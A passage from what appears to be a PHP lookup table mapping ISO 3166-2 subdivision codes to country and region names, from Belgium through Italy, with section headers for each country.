'BE-VLI' => "Belgium: Limburg",
'BE-WLX' => "Belgium: Luxembourg, Luxemburg",
'BE-WNA' => "Belgium: Namur",
'BE-VOV' => "Belgium: Oost-Vlaanderen",
'BE-VBR' => "Belgium: Vlaams-Brabant",
'BE-VWV' => "Belgium: West-Vlaanderen",
'--BR' => "", '-BR' =>
"Brazil",
'BR-AC' => "Brazil: Acre",
'BR-AL' => "Brazil: Alagoas",
'BR-AP' => "Brazil: Amapá",
'BR-AM' => "Brazil: Amazonas",
'BR-BA' => "Brazil: Bahia",
'BR-CE' => "Brazil: Ceará",
'BR-DF' => "Brazil: Distrito Federal",
'BR-ES' => "Brazil: Espírito Santo",
'BR-FN' => "Brazil: Fernando de Noronha",
'BR-GO' => "Brazil: Goiás",
'BR-MA' => "Brazil: Maranhão",
'BR-MT' => "Brazil: Mato Grosso",
'BR-MS' => "Brazil: Mato Grosso do Sul",
'BR-MG' => "Brazil: Minas Gerais",
'BR-PR' => "Brazil: Paraná",
'BR-PB' => "Brazil: Paraíba",
'BR-PA' => "Brazil: Pará",
'BR-PE' => "Brazil: Pernambuco",
'BR-PI' => "Brazil: Piauí",
'BR-RN' => "Brazil: Rio Grande do Norte",
'BR-RS' => "Brazil: Rio Grande do Sul",
'BR-RJ' => "Brazil: Rio de Janeiro",
'BR-RO' => "Brazil: Rondônia",
'BR-RR' => "Brazil: Roraima",
'BR-SC' => "Brazil: Santa Catarina",
'BR-SE' => "Brazil: Sergipe",
'BR-SP' => "Brazil: São Paulo",
'BR-TO' => "Brazil: Tocantins",
'--BG' => "", '-BG' =>
"Bulgaria",
'BG-01' => "Bulgaria: Blagoevgrad",
'BG-02' => "Bulgaria: Burgas",
'BG-08' => "Bulgaria: Dobrich",
'BG-07' => "Bulgaria: Gabrovo",
'BG-26' => "Bulgaria: Haskovo",
'BG-09' => "Bulgaria: Kardzhali",
'BG-10' => "Bulgaria: Kyustendil",
'BG-11' => "Bulgaria: Lovech",
'BG-12' => "Bulgaria: Montana",
'BG-13' => "Bulgaria: Pazardzhik",
'BG-14' => "Bulgaria: Pernik",
'BG-15' => "Bulgaria: Pleven",
'BG-16' => "Bulgaria: Plovdiv",
'BG-17' => "Bulgaria: Razgrad",
'BG-18' => "Bulgaria: Ruse",
'BG-27' => "Bulgaria: Shumen",
'BG-19' => "Bulgaria: Silistra",
'BG-20' => "Bulgaria: Sliven",
'BG-21' => "Bulgaria: Smolyan",
'BG-23' => "Bulgaria: Sofia",
'BG-22' => "Bulgaria: Sofia-Grad",
'BG-24' => "Bulgaria: Stara Zagora",
'BG-25' => "Bulgaria: Targovishte",
'BG-03' => "Bulgaria: Varna",
'BG-04' => "Bulgaria: Veliko Tarnovo",
'BG-05' => "Bulgaria: Vidin",
'BG-06' => "Bulgaria: Vratsa",
'BG-28' => "Bulgaria: Yambol",
'--CA' => "", '-CA' =>
"Canada",
'CA-AB' => "Canada: Alberta",
'CA-BC' => "Canada: British Columbia",
'CA-MB' => "Canada: Manitoba",
'CA-NB' => "Canada: New Brunswick",
'CA-NL' => "Canada: Newfoundland and Labrador",
'CA-NT' => "Canada: Northwest Territories",
'CA-NS' => "Canada: Nova Scotia",
'CA-NU' => "Canada: Nunavut",
'CA-ON' => "Canada: Ontario",
'CA-PE' => "Canada: Prince Edward Island",
'CA-QC' => "Canada: Quebec",
'CA-SK' => "Canada: Saskatchewan",
'CA-YT' => "Canada: Yukon Territory",
'--CN' => "", '-CN' =>
"China",
'CN-34' => "China: Anhui",
'CN-92' => "China: Aomen (Macau)",
'CN-11' => "China: Beijing",
'CN-50' => "China: Chongqing",
'CN-35' => "China: Fujian",
'CN-62' => "China: Gansu",
'CN-44' => "China: Guangdong",
'CN-45' => "China: Guangxi",
'CN-52' => "China: Guizhou",
'CN-46' => "China: Hainan",
'CN-13' => "China: Hebei",
'CN-23' => "China: Heilongjiang",
'CN-41' => "China: Henan",
'CN-42' => "China: Hubei",
'CN-43' => "China: Hunan",
'CN-32' => "China: Jiangsu",
'CN-36' => "China: Jiangxi",
'CN-22' => "China: Jilin",
'CN-21' => "China: Liaoning",
'CN-15' => "China: Nei Mongol",
'CN-64' => "China: Ningxia",
'CN-63' => "China: Qinghai",
'CN-61' => "China: Shaanxi",
'CN-37' => "China: Shandong",
'CN-31' => "China: Shanghai",
'CN-14' => "China: Shanxi",
'CN-51' => "China: Sichuan",
'CN-71' => "China: Taiwan",
'CN-12' => "China: Tianjin",
'CN-91' => "China: Xianggang (Hong-Kong)",
'CN-65' => "China: Xinjiang",
'CN-54' => "China: Xizang",
'CN-53' => "China: Yunnan",
'CN-33' => "China: Zhejiang",
'--CY' => "", '-CY' =>
"Cyprus",
'CY-04' => "Cyprus: Ammóchostos",
'CY-06' => "Cyprus: Kerýneia",
'CY-01' => "Cyprus: Lefkosía",
'CY-02' => "Cyprus: Lemesós",
'CY-03' => "Cyprus: Lárnaka",
'CY-05' => "Cyprus: Páfos",
'--CZ' => "", '-CZ' => "Czech
Republic",
'CZ-201' => "Czech Republic: Benešov",
'CZ-202' => "Czech Republic: Beroun",
'CZ-621' => "Czech Republic: Blansko",
'CZ-622' => "Czech Republic: Brno-město",
'CZ-623' => "Czech Republic: Brno-venkov",
'CZ-801' => "Czech Republic: Bruntál",
'CZ-624' => "Czech Republic: Břeclav",
'CZ-411' => "Czech Republic: Cheb",
'CZ-422' => "Czech Republic: Chomutov",
'CZ-531' => "Czech Republic: Chrudim",
'CZ-321' => "Czech Republic: Domažlice",
'CZ-421' => "Czech Republic: Děčín",
'CZ-802' => "Czech Republic: Frýdek Místek",
'CZ-611' => "Czech Republic: Havlíčkův Brod",
'CZ-625' => "Czech Republic: Hodonín",
'CZ-521' => "Czech Republic: Hradec Králové",
'CZ-512' => "Czech Republic: Jablonec nad Nisou",
'CZ-711' => "Czech Republic: Jeseník",
'CZ-612' => "Czech Republic: Jihlava",
'CZ-JM' => "Czech Republic: Jihomoravský kraj",
'CZ-JC' => "Czech Republic: Jihočeský kraj",
'CZ-313' => "Czech Republic: Jindřichův Hradec",
'CZ-522' => "Czech Republic: Jičín",
'CZ-KA' => "Czech Republic: Karlovarský kraj",
'CZ-412' => "Czech Republic: Karlovy Vary",
'CZ-803' => "Czech Republic: Karviná",
'CZ-203' => "Czech Republic: Kladno",
'CZ-322' => "Czech Republic: Klatovy",
'CZ-204' => "Czech Republic: Kolín",
'CZ-721' => "Czech Republic: Kromĕříž",
'CZ-KR' => "Czech Republic: Královéhradecký
kraj",
'CZ-205' => "Czech Republic: Kutná Hora",
'CZ-513' => "Czech Republic: Liberec",
'CZ-LI' => "Czech Republic: Liberecký kraj",
'CZ-423' => "Czech Republic: Litoměřice",
'CZ-424' => "Czech Republic: Louny",
'CZ-207' => "Czech Republic: Mladá Boleslav",
'CZ-MO' => "Czech Republic: Moravskoslezský
kraj",
'CZ-425' => "Czech Republic: Most",
'CZ-206' => "Czech Republic: Mělník",
'CZ-804' => "Czech Republic: Nový Jičín",
'CZ-208' => "Czech Republic: Nymburk",
'CZ-523' => "Czech Republic: Náchod",
'CZ-712' => "Czech Republic: Olomouc",
'CZ-OL' => "Czech Republic: Olomoucký kraj",
'CZ-805' => "Czech Republic: Opava",
'CZ-806' => "Czech Republic: Ostrava město",
'CZ-532' => "Czech Republic: Pardubice",
'CZ-PA' => "Czech Republic: Pardubický kraj",
'CZ-613' => "Czech Republic: Pelhřimov",
'CZ-324' => "Czech Republic: Plzeň jih",
'CZ-323' => "Czech Republic: Plzeň město",
'CZ-325' => "Czech Republic: Plzeň sever",
'CZ-PL' => "Czech Republic: Plzeňský kraj",
'CZ-315' => "Czech Republic: Prachatice",
'CZ-101' => "Czech Republic: Praha 1",
'CZ-10A' => "Czech Republic: Praha 10",
'CZ-10B' => "Czech Republic: Praha 11",
'CZ-10C' => "Czech Republic: Praha 12",
'CZ-10D' => "Czech Republic: Praha 13",
'CZ-10E' => "Czech Republic: Praha 14",
'CZ-10F' => "Czech Republic: Praha 15",
'CZ-102' => "Czech Republic: Praha 2",
'CZ-103' => "Czech Republic: Praha 3",
'CZ-104' => "Czech Republic: Praha 4",
'CZ-105' => "Czech Republic: Praha 5",
'CZ-106' => "Czech Republic: Praha 6",
'CZ-107' => "Czech Republic: Praha 7",
'CZ-108' => "Czech Republic: Praha 8",
'CZ-109' => "Czech Republic: Praha 9",
'CZ-209' => "Czech Republic: Praha východ",
'CZ-20A' => "Czech Republic: Praha západ",
'CZ-PR' => "Czech Republic: Praha, hlavní
město",
'CZ-713' => "Czech Republic: Prostĕjov",
'CZ-314' => "Czech Republic: Písek",
'CZ-714' => "Czech Republic: Přerov",
'CZ-20B' => "Czech Republic: Příbram",
'CZ-20C' => "Czech Republic: Rakovník",
'CZ-326' => "Czech Republic: Rokycany",
'CZ-524' => "Czech Republic: Rychnov nad
Kněžnou",
'CZ-514' => "Czech Republic: Semily",
'CZ-413' => "Czech Republic: Sokolov",
'CZ-316' => "Czech Republic: Strakonice",
'CZ-ST' => "Czech Republic: Středočeský kraj",
'CZ-533' => "Czech Republic: Svitavy",
'CZ-327' => "Czech Republic: Tachov",
'CZ-426' => "Czech Republic: Teplice",
'CZ-525' => "Czech Republic: Trutnov",
'CZ-317' => "Czech Republic: Tábor",
'CZ-614' => "Czech Republic: Třebíč",
'CZ-722' => "Czech Republic: Uherské Hradištĕ",
'CZ-723' => "Czech Republic: Vsetín",
'CZ-VY' => "Czech Republic: Vysočina",
'CZ-626' => "Czech Republic: Vyškov",
'CZ-724' => "Czech Republic: Zlín",
'CZ-ZL' => "Czech Republic: Zlínský kraj",
'CZ-627' => "Czech Republic: Znojmo",
'CZ-US' => "Czech Republic: Ústecký kraj",
'CZ-427' => "Czech Republic: Ústí nad Labem",
'CZ-534' => "Czech Republic: Ústí nad Orlicí",
'CZ-511' => "Czech Republic: Česká Lípa",
'CZ-311' => "Czech Republic: České Budějovice",
'CZ-312' => "Czech Republic: Český Krumlov",
'CZ-715' => "Czech Republic: Šumperk",
'CZ-615' => "Czech Republic: Žd’ár nad
Sázavou",
'--DK' => "", '-DK' =>
"Denmark",
'DK-84' => "Denmark: Hovedstaden",
'DK-82' => "Denmark: Midtjylland",
'DK-81' => "Denmark: Nordjylland",
'DK-85' => "Denmark: Sjælland",
'DK-83' => "Denmark: Syddanmark",
'--EG' => "", '-EG' =>
"Egypt",
'EG-DK' => "Egypt: Ad Daqahlīyah",
'EG-BA' => "Egypt: Al Bahr al Ahmar",
'EG-BH' => "Egypt: Al Buhayrah",
'EG-FYM' => "Egypt: Al Fayyūm",
'EG-GH' => "Egypt: Al Gharbīyah",
'EG-ALX' => "Egypt: Al Iskandarīyah",
'EG-IS' => "Egypt: Al Ismā`īlīyah",
'EG-GZ' => "Egypt: Al Jīzah",
'EG-MN' => "Egypt: Al Minyā",
'EG-MNF' => "Egypt: Al Minūfīyah",
'EG-KB' => "Egypt: Al Qalyūbīyah",
'EG-C' => "Egypt: Al Qāhirah",
'EG-WAD' => "Egypt: Al Wādī al Jadīd",
'EG-SUZ' => "Egypt: As Suways",
'EG-SU' => "Egypt: As Sādis min Uktūbar",
'EG-SHR' => "Egypt: Ash Sharqīyah",
'EG-ASN' => "Egypt: Aswān",
'EG-AST' => "Egypt: Asyūt",
'EG-BNS' => "Egypt: Banī Suwayf",
'EG-PTS' => "Egypt: Būr Sa`īd",
'EG-DT' => "Egypt: Dumyāt",
'EG-JS' => "Egypt: Janūb Sīnā'",
'EG-KFS' => "Egypt: Kafr ash Shaykh",
'EG-MT' => "Egypt: Matrūh",
'EG-KN' => "Egypt: Qinā",
'EG-SIN' => "Egypt: Shamal Sīnā'",
'EG-SHG' => "Egypt: Sūhāj",
'EG-HU' => "Egypt: Ḩulwān",
'--FR' => "", '-FR' =>
"France",
'FR-01' => "France: Ain",
'FR-02' => "France: Aisne",
'FR-03' => "France: Allier",
'FR-06' => "France: Alpes-Maritimes",
'FR-04' => "France: Alpes-de-Haute-Provence",
'FR-A' => "France: Alsace",
'FR-B' => "France: Aquitaine",
'FR-08' => "France: Ardennes",
'FR-07' => "France: Ardèche",
'FR-09' => "France: Ariège",
'FR-10' => "France: Aube",
'FR-11' => "France: Aude",
'FR-C' => "France: Auvergne",
'FR-12' => "France: Aveyron",
'FR-67' => "France: Bas-Rhin",
'FR-P' => "France: Basse-Normandie",
'FR-13' => "France: Bouches-du-Rhône",
'FR-D' => "France: Bourgogne",
'FR-E' => "France: Bretagne",
'FR-14' => "France: Calvados",
'FR-15' => "France: Cantal",
'FR-F' => "France: Centre",
'FR-G' => "France: Champagne-Ardenne",
'FR-16' => "France: Charente",
'FR-17' => "France: Charente-Maritime",
'FR-18' => "France: Cher",
'FR-CP' => "France: Clipperton",
'FR-19' => "France: Corrèze",
'FR-H' => "France: Corse",
'FR-2A' => "France: Corse-du-Sud",
'FR-23' => "France: Creuse",
'FR-21' => "France: Côte-d'Or",
'FR-22' => "France: Côtes-d'Armor",
'FR-79' => "France: Deux-Sèvres",
'FR-24' => "France: Dordogne",
'FR-25' => "France: Doubs",
'FR-26' => "France: Drôme",
'FR-91' => "France: Essonne",
'FR-27' => "France: Eure",
'FR-28' => "France: Eure-et-Loir",
'FR-29' => "France: Finistère",
'FR-I' => "France: Franche-Comté",
'FR-30' => "France: Gard",
'FR-32' => "France: Gers",
'FR-33' => "France: Gironde",
'FR-GP' => "France: Guadeloupe",
'FR-GF' => "France: Guyane",
'FR-68' => "France: Haut-Rhin",
'FR-2B' => "France: Haute-Corse",
'FR-31' => "France: Haute-Garonne",
'FR-43' => "France: Haute-Loire",
'FR-52' => "France: Haute-Marne",
'FR-Q' => "France: Haute-Normandie",
'FR-74' => "France: Haute-Savoie",
'FR-70' => "France: Haute-Saône",
'FR-87' => "France: Haute-Vienne",
'FR-05' => "France: Hautes-Alpes",
'FR-65' => "France: Hautes-Pyrénées",
'FR-92' => "France: Hauts-de-Seine",
'FR-34' => "France: Hérault",
'FR-35' => "France: Ille-et-Vilaine",
'FR-36' => "France: Indre",
'FR-37' => "France: Indre-et-Loire",
'FR-38' => "France: Isère",
'FR-39' => "France: Jura",
'FR-40' => "France: Landes",
'FR-K' => "France: Languedoc-Roussillon",
'FR-L' => "France: Limousin",
'FR-41' => "France: Loir-et-Cher",
'FR-42' => "France: Loire",
'FR-44' => "France: Loire-Atlantique",
'FR-45' => "France: Loiret",
'FR-M' => "France: Lorraine",
'FR-46' => "France: Lot",
'FR-47' => "France: Lot-et-Garonne",
'FR-48' => "France: Lozère",
'FR-49' => "France: Maine-et-Loire",
'FR-50' => "France: Manche",
'FR-51' => "France: Marne",
'FR-MQ' => "France: Martinique",
'FR-53' => "France: Mayenne",
'FR-YT' => "France: Mayotte",
'FR-54' => "France: Meurthe-et-Moselle",
'FR-55' => "France: Meuse",
'FR-N' => "France: Midi-Pyrénées",
'FR-56' => "France: Morbihan",
'FR-57' => "France: Moselle",
'FR-58' => "France: Nièvre",
'FR-59' => "France: Nord",
'FR-O' => "France: Nord - Pas-de-Calais",
'FR-NC' => "France: Nouvelle-Calédonie",
'FR-60' => "France: Oise",
'FR-61' => "France: Orne",
'FR-75' => "France: Paris",
'FR-62' => "France: Pas-de-Calais",
'FR-R' => "France: Pays de la Loire",
'FR-S' => "France: Picardie",
'FR-T' => "France: Poitou-Charentes",
'FR-PF' => "France: Polynésie française",
'FR-U' => "France: Provence-Alpes-Côte
d'Azur",
'FR-63' => "France: Puy-de-Dôme",
'FR-64' => "France: Pyrénées-Atlantiques",
'FR-66' => "France: Pyrénées-Orientales",
'FR-69' => "France: Rhône",
'FR-V' => "France: Rhône-Alpes",
'FR-RE' => "France: Réunion",
'FR-BL' => "France: Saint-Barthélemy",
'FR-MF' => "France: Saint-Martin",
'FR-PM' => "France: Saint-Pierre-et-Miquelon",
'FR-72' => "France: Sarthe",
'FR-73' => "France: Savoie",
'FR-71' => "France: Saône-et-Loire",
'FR-76' => "France: Seine-Maritime",
'FR-93' => "France: Seine-Saint-Denis",
'FR-77' => "France: Seine-et-Marne",
'FR-80' => "France: Somme",
'FR-81' => "France: Tarn",
'FR-82' => "France: Tarn-et-Garonne",
'FR-TF' => "France: Terres australes françaises",
'FR-90' => "France: Territoire de Belfort",
'FR-95' => "France: Val d'Oise",
'FR-94' => "France: Val-de-Marne",
'FR-83' => "France: Var",
'FR-84' => "France: Vaucluse",
'FR-85' => "France: Vendée",
'FR-86' => "France: Vienne",
'FR-88' => "France: Vosges",
'FR-WF' => "France: Wallis-et-Futuna",
'FR-89' => "France: Yonne",
'FR-78' => "France: Yvelines",
'FR-J' => "France: Île-de-France",
'--DE' => "", '-DE' =>
"Germany",
'DE-BW' => "Germany: Baden-Württemberg",
'DE-BY' => "Germany: Bayern",
'DE-BE' => "Germany: Berlin",
'DE-BB' => "Germany: Brandenburg",
'DE-HB' => "Germany: Bremen",
'DE-HH' => "Germany: Hamburg",
'DE-HE' => "Germany: Hessen",
'DE-MV' => "Germany: Mecklenburg-Vorpommern",
'DE-NI' => "Germany: Niedersachsen",
'DE-NW' => "Germany: Nordrhein-Westfalen",
'DE-RP' => "Germany: Rheinland-Pfalz",
'DE-SL' => "Germany: Saarland",
'DE-SN' => "Germany: Sachsen",
'DE-ST' => "Germany: Sachsen-Anhalt",
'DE-SH' => "Germany: Schleswig-Holstein",
'DE-TH' => "Germany: Thüringen",
'--GR' => "", '-GR' =>
"Greece",
'GR-13' => "Greece: Achaïa",
'GR-69' => "Greece: Agio Oros",
'GR-01' => "Greece: Aitolia kai Akarnania",
'GR-A' => "Greece: Anatoliki Makedonia kai
Thraki",
'GR-11' => "Greece: Argolida",
'GR-12' => "Greece: Arkadia",
'GR-31' => "Greece: Arta",
'GR-A1' => "Greece: Attiki",
'GR-64' => "Greece: Chalkidiki",
'GR-94' => "Greece: Chania",
'GR-85' => "Greece: Chios",
'GR-81' => "Greece: Dodekanisos",
'GR-52' => "Greece: Drama",
'GR-G' => "Greece: Dytiki Ellada",
'GR-C' => "Greece: Dytiki Makedonia",
'GR-71' => "Greece: Evros",
'GR-05' => "Greece: Evrytania",
'GR-04' => "Greece: Evvoias",
'GR-63' => "Greece: Florina",
'GR-07' => "Greece: Fokida",
'GR-06' => "Greece: Fthiotida",
'GR-51' => "Greece: Grevena",
'GR-14' => "Greece: Ileia",
'GR-53' => "Greece: Imathia",
'GR-33' => "Greece: Ioannina",
'GR-F' => "Greece: Ionia Nisia",
'GR-D' => "Greece: Ipeiros",
'GR-91' => "Greece: Irakleio",
'GR-41' => "Greece: Karditsa",
'GR-56' => "Greece: Kastoria",
'GR-55' => "Greece: Kavala",
'GR-23' => "Greece: Kefallonia",
'GR-B' => "Greece: Kentriki Makedonia",
'GR-22' => "Greece: Kerkyra",
'GR-57' => "Greece: Kilkis",
'GR-15' => "Greece: Korinthia",
'GR-58' => "Greece: Kozani",
'GR-M' => "Greece: Kriti",
'GR-82' => "Greece: Kyklades",
'GR-16' => "Greece: Lakonia",
'GR-42' => "Greece: Larisa",
'GR-92' => "Greece: Lasithi",
'GR-24' => "Greece: Lefkada",
'GR-83' => "Greece: Lesvos",
'GR-43' => "Greece: Magnisia",
'GR-17' => "Greece: Messinia",
'GR-L' => "Greece: Notio Aigaio",
'GR-59' => "Greece: Pella",
'GR-J' => "Greece: Peloponnisos",
'GR-61' => "Greece: Pieria",
'GR-34' => "Greece: Preveza",
'GR-93' => "Greece: Rethymno",
'GR-73' => "Greece: Rodopi",
'GR-84' => "Greece: Samos",
'GR-62' => "Greece: Serres",
'GR-H' => "Greece: Sterea Ellada",
'GR-32' => "Greece: Thesprotia",
'GR-E' => "Greece: Thessalia",
'GR-54' => "Greece: Thessaloniki",
'GR-44' => "Greece: Trikala",
'GR-03' => "Greece: Voiotia",
'GR-K' => "Greece: Voreio Aigaio",
'GR-72' => "Greece: Xanthi",
'GR-21' => "Greece: Zakynthos",
'--HU' => "", '-HU' =>
"Hungary",
'HU-BA' => "Hungary: Baranya",
'HU-BZ' => "Hungary: Borsod-Abaúj-Zemplén",
'HU-BU' => "Hungary: Budapest",
'HU-BK' => "Hungary: Bács-Kiskun",
'HU-BE' => "Hungary: Békés",
'HU-BC' => "Hungary: Békéscsaba",
'HU-CS' => "Hungary: Csongrád",
'HU-DE' => "Hungary: Debrecen",
'HU-DU' => "Hungary: Dunaújváros",
'HU-EG' => "Hungary: Eger",
'HU-FE' => "Hungary: Fejér",
'HU-GY' => "Hungary: Győr",
'HU-GS' => "Hungary: Győr-Moson-Sopron",
'HU-HB' => "Hungary: Hajdú-Bihar",
'HU-HE' => "Hungary: Heves",
'HU-HV' => "Hungary: Hódmezővásárhely",
'HU-JN' => "Hungary: Jász-Nagykun-Szolnok",
'HU-KV' => "Hungary: Kaposvár",
'HU-KM' => "Hungary: Kecskemét",
'HU-KE' => "Hungary: Komárom-Esztergom",
'HU-MI' => "Hungary: Miskolc",
'HU-NK' => "Hungary: Nagykanizsa",
'HU-NY' => "Hungary: Nyíregyháza",
'HU-NO' => "Hungary: Nógrád",
'HU-PE' => "Hungary: Pest",
'HU-PS' => "Hungary: Pécs",
'HU-ST' => "Hungary: Salgótarján",
'HU-SO' => "Hungary: Somogy",
'HU-SN' => "Hungary: Sopron",
'HU-SZ' => "Hungary: Szabolcs-Szatmár-Bereg",
'HU-SD' => "Hungary: Szeged",
'HU-SS' => "Hungary: Szekszárd",
'HU-SK' => "Hungary: Szolnok",
'HU-SH' => "Hungary: Szombathely",
'HU-SF' => "Hungary: Székesfehérvár",
'HU-TB' => "Hungary: Tatabánya",
'HU-TO' => "Hungary: Tolna",
'HU-VA' => "Hungary: Vas",
'HU-VM' => "Hungary: Veszprém",
'HU-VE' => "Hungary: Veszprém (county)",
'HU-ZA' => "Hungary: Zala",
'HU-ZE' => "Hungary: Zalaegerszeg",
'HU-ER' => "Hungary: Érd",
'--IS' => "", '-IS' =>
"Iceland",
'IS-7' => "Iceland: Austurland",
'IS-1' => "Iceland: Höfuðborgarsvæðið",
'IS-6' => "Iceland: Norðurland eystra",
'IS-5' => "Iceland: Norðurland vestra",
'IS-0' => "Iceland: Reykjavík",
'IS-8' => "Iceland: Suðurland",
'IS-2' => "Iceland: Suðurnes",
'IS-4' => "Iceland: Vestfirðir",
'IS-3' => "Iceland: Vesturland",
'--IN' => "", '-IN' =>
"India",
'IN-AN' => "India: Andaman and Nicobar Islands",
'IN-AP' => "India: Andhra Pradesh",
'IN-AR' => "India: Arunāchal Pradesh",
'IN-AS' => "India: Assam",
'IN-BR' => "India: Bihār",
'IN-CH' => "India: Chandīgarh",
'IN-CT' => "India: Chhattīsgarh",
'IN-DD' => "India: Damān and Diu",
'IN-DL' => "India: Delhi",
'IN-DN' => "India: Dādra and Nagar Haveli",
'IN-GA' => "India: Goa",
'IN-GJ' => "India: Gujarāt",
'IN-HR' => "India: Haryāna",
'IN-HP' => "India: Himāchal Pradesh",
'IN-JK' => "India: Jammu and Kashmīr",
'IN-JH' => "India: Jharkhand",
'IN-KA' => "India: Karnātaka",
'IN-KL' => "India: Kerala",
'IN-LD' => "India: Lakshadweep",
'IN-MP' => "India: Madhya Pradesh",
'IN-MH' => "India: Mahārāshtra",
'IN-MN' => "India: Manipur",
'IN-ML' => "India: Meghālaya",
'IN-MZ' => "India: Mizoram",
'IN-NL' => "India: Nāgāland",
'IN-OR' => "India: Orissa",
'IN-PY' => "India: Pondicherry",
'IN-PB' => "India: Punjab",
'IN-RJ' => "India: Rājasthān",
'IN-SK' => "India: Sikkim",
'IN-TN' => "India: Tamil Nādu",
'IN-TR' => "India: Tripura",
'IN-UP' => "India: Uttar Pradesh",
'IN-UL' => "India: Uttaranchal",
'IN-WB' => "India: West Bengal",
'--ID' => "", '-ID' =>
"Indonesia",
'ID-AC' => "Indonesia: Aceh",
'ID-BA' => "Indonesia: Bali",
'ID-BB' => "Indonesia: Bangka Belitung",
'ID-BT' => "Indonesia: Banten",
'ID-BE' => "Indonesia: Bengkulu",
'ID-GO' => "Indonesia: Gorontalo",
'ID-JK' => "Indonesia: Jakarta Raya",
'ID-JA' => "Indonesia: Jambi",
'ID-JW' => "Indonesia: Jawa",
'ID-JB' => "Indonesia: Jawa Barat",
'ID-JT' => "Indonesia: Jawa Tengah",
'ID-JI' => "Indonesia: Jawa Timur",
'ID-KA' => "Indonesia: Kalimantan",
'ID-KB' => "Indonesia: Kalimantan Barat",
'ID-KS' => "Indonesia: Kalimantan Selatan",
'ID-KT' => "Indonesia: Kalimantan Tengah",
'ID-KI' => "Indonesia: Kalimantan Timur",
'ID-KR' => "Indonesia: Kepulauan Riau",
'ID-LA' => "Indonesia: Lampung",
'ID-MA' => "Indonesia: Maluku",
'ID-MU' => "Indonesia: Maluku Utara",
'ID-NU' => "Indonesia: Nusa Tenggara",
'ID-NB' => "Indonesia: Nusa Tenggara Barat",
'ID-NT' => "Indonesia: Nusa Tenggara Timur",
'ID-PA' => "Indonesia: Papua",
'ID-PB' => "Indonesia: Papua Barat",
'ID-RI' => "Indonesia: Riau",
'ID-SL' => "Indonesia: Sulawesi",
'ID-SR' => "Indonesia: Sulawesi Barat",
'ID-SN' => "Indonesia: Sulawesi Selatan",
'ID-ST' => "Indonesia: Sulawesi Tengah",
'ID-SG' => "Indonesia: Sulawesi Tenggara",
'ID-SA' => "Indonesia: Sulawesi Utara",
'ID-SM' => "Indonesia: Sumatera",
'ID-SU' => "Indonesia: Sumatera Utara",
'ID-SB' => "Indonesia: Sumatra Barat",
'ID-SS' => "Indonesia: Sumatra Selatan",
'ID-YO' => "Indonesia: Yogyakarta",
'--IE' => "", '-IE' =>
"Ireland",
'IE-CW' => "Ireland: Carlow",
'IE-CN' => "Ireland: Cavan",
'IE-CE' => "Ireland: Clare",
'IE-C' => "Ireland: Connacht",
'IE-C' => "Ireland: Cork",
'IE-DL' => "Ireland: Donegal",
'IE-D' => "Ireland: Dublin",
'IE-G' => "Ireland: Galway",
'IE-KY' => "Ireland: Kerry",
'IE-KE' => "Ireland: Kildare",
'IE-KK' => "Ireland: Kilkenny",
'IE-LS' => "Ireland: Laois",
'IE-L' => "Ireland: Leinster",
'IE-LM' => "Ireland: Leitrim",
'IE-LK' => "Ireland: Limerick",
'IE-LD' => "Ireland: Longford",
'IE-LH' => "Ireland: Louth",
'IE-MO' => "Ireland: Mayo",
'IE-MH' => "Ireland: Meath",
'IE-MN' => "Ireland: Monaghan",
'IE-M' => "Ireland: Munster",
'IE-OY' => "Ireland: Offaly",
'IE-RN' => "Ireland: Roscommon",
'IE-SO' => "Ireland: Sligo",
'IE-TA' => "Ireland: Tipperary",
'IE-U' => "Ireland: Ulster",
'IE-WD' => "Ireland: Waterford",
'IE-WH' => "Ireland: Westmeath",
'IE-WX' => "Ireland: Wexford",
'IE-WW' => "Ireland: Wicklow",
'--IL' => "", '-IL' =>
"Israel",
'IL-D' => "Israel: HaDarom",
'IL-M' => "Israel: HaMerkaz",
'IL-Z' => "Israel: HaZafon",
'IL-HA' => "Israel: Hefa",
'IL-TA' => "Israel: Tel-Aviv",
'IL-JM' => "Israel: Yerushalayim Al Quds",
'--IT' => "", '-IT' =>
"Italy",
'IT-65' => "Italy: Abruzzo",
'IT-AG' => "Italy: Agrigento",
'IT-AL' => "Italy: Alessandria",
'IT-AN' => "Italy: Ancona",
'IT-AO' => "Italy: Aosta",
'IT-AR' => "Italy: Arezzo",
'IT-AP' => "Italy: Ascoli Piceno",
'IT-AT' => "Italy: Asti",
'IT-AV' => "Italy: Avellino",
'IT-BA' => "Italy: Bari",
'IT-BT' => "Italy: Barletta-Andria-Trani",
'IT-77' => "Italy: Basilicata",
'IT-BL' => "Italy: Belluno",
'IT-BN' => "Italy: Benevento",
'IT-BG' => "Italy: Bergamo",
'IT-BI' => "Italy: Biella",
'IT-BO' => "Italy: Bologna",
'IT-BZ' => "Italy: Bolzano",
'IT-BS' => "Italy: Brescia",
'IT-BR' => "Italy: Brindisi",
'IT-CA' => "Italy: Cagliari",
'IT-78' => "Italy: Calabria",
'IT-CL' => "Italy: Caltanissetta",
'IT-72' => "Italy: Campania",
'IT-CB' => "Italy: Campobasso",
'IT-CI' => "Italy: Carbonia-Iglesias",
'IT-CE' => "Italy: Caserta",
'IT-CT' => "Italy: Catania",
'IT-CZ' => "Italy: Catanzaro",
'IT-CH' => "Italy: Chieti",
'IT-CO' => "Italy: Como",
'IT-CS' => "Italy: Cosenza",
'IT-CR' => "Italy: Cremona",
'IT-KR' => "Italy: Crotone",
'IT-CN' => "Italy: Cuneo",
'IT-45' => "Italy: Emilia-Romagna",
'IT-EN' => "Italy: Enna",
'IT-FM' => "Italy: Fermo",
'IT-FE' => "Italy: Ferrara",
'IT-FI' => "Italy: Firenze",
'IT-FG' => "Italy: Foggia",
'IT-FC' => "Italy: Forlì-Cesena",
'IT-36' => "Italy: Friuli-Venezia Giulia",
'IT-FR' => "Italy: Frosinone",
'IT-GE' => "Italy: Genova",
'IT-GO' => "Italy: Gorizia",
'IT-GR' => "Italy: Grosseto",
'IT-IM' => "Italy: Imperia",
'IT-IS' => "Italy: Isernia",
'IT-AQ' => "Italy: L'Aquila",
'IT-SP' => "Italy: La Spezia",
'IT-LT' => "Italy: Latina",
'IT-62' => "Italy: Lazio",
'IT-LE' => "Italy: Lecce",
'IT-LC' => "Italy: Lecco",
'IT-42' => "Italy: Liguria",
'IT-LI' => "Italy: Livorno",
'IT-LO' => "Italy: Lodi",
'IT-25' => "Italy: Lombardia",
'IT-LU' => "Italy: Lucca",
'IT-MC' => "Italy: Macerata",
'IT-MN' => "Italy: Mantova",
'IT-57' => "Italy: Marche",
'IT-MS' => "Italy: Massa-Carrara",
'IT-MT' => "Italy: Matera",
'IT-VS' => "Italy: Medio Campidano",
'IT-ME' => "Italy: Messina",
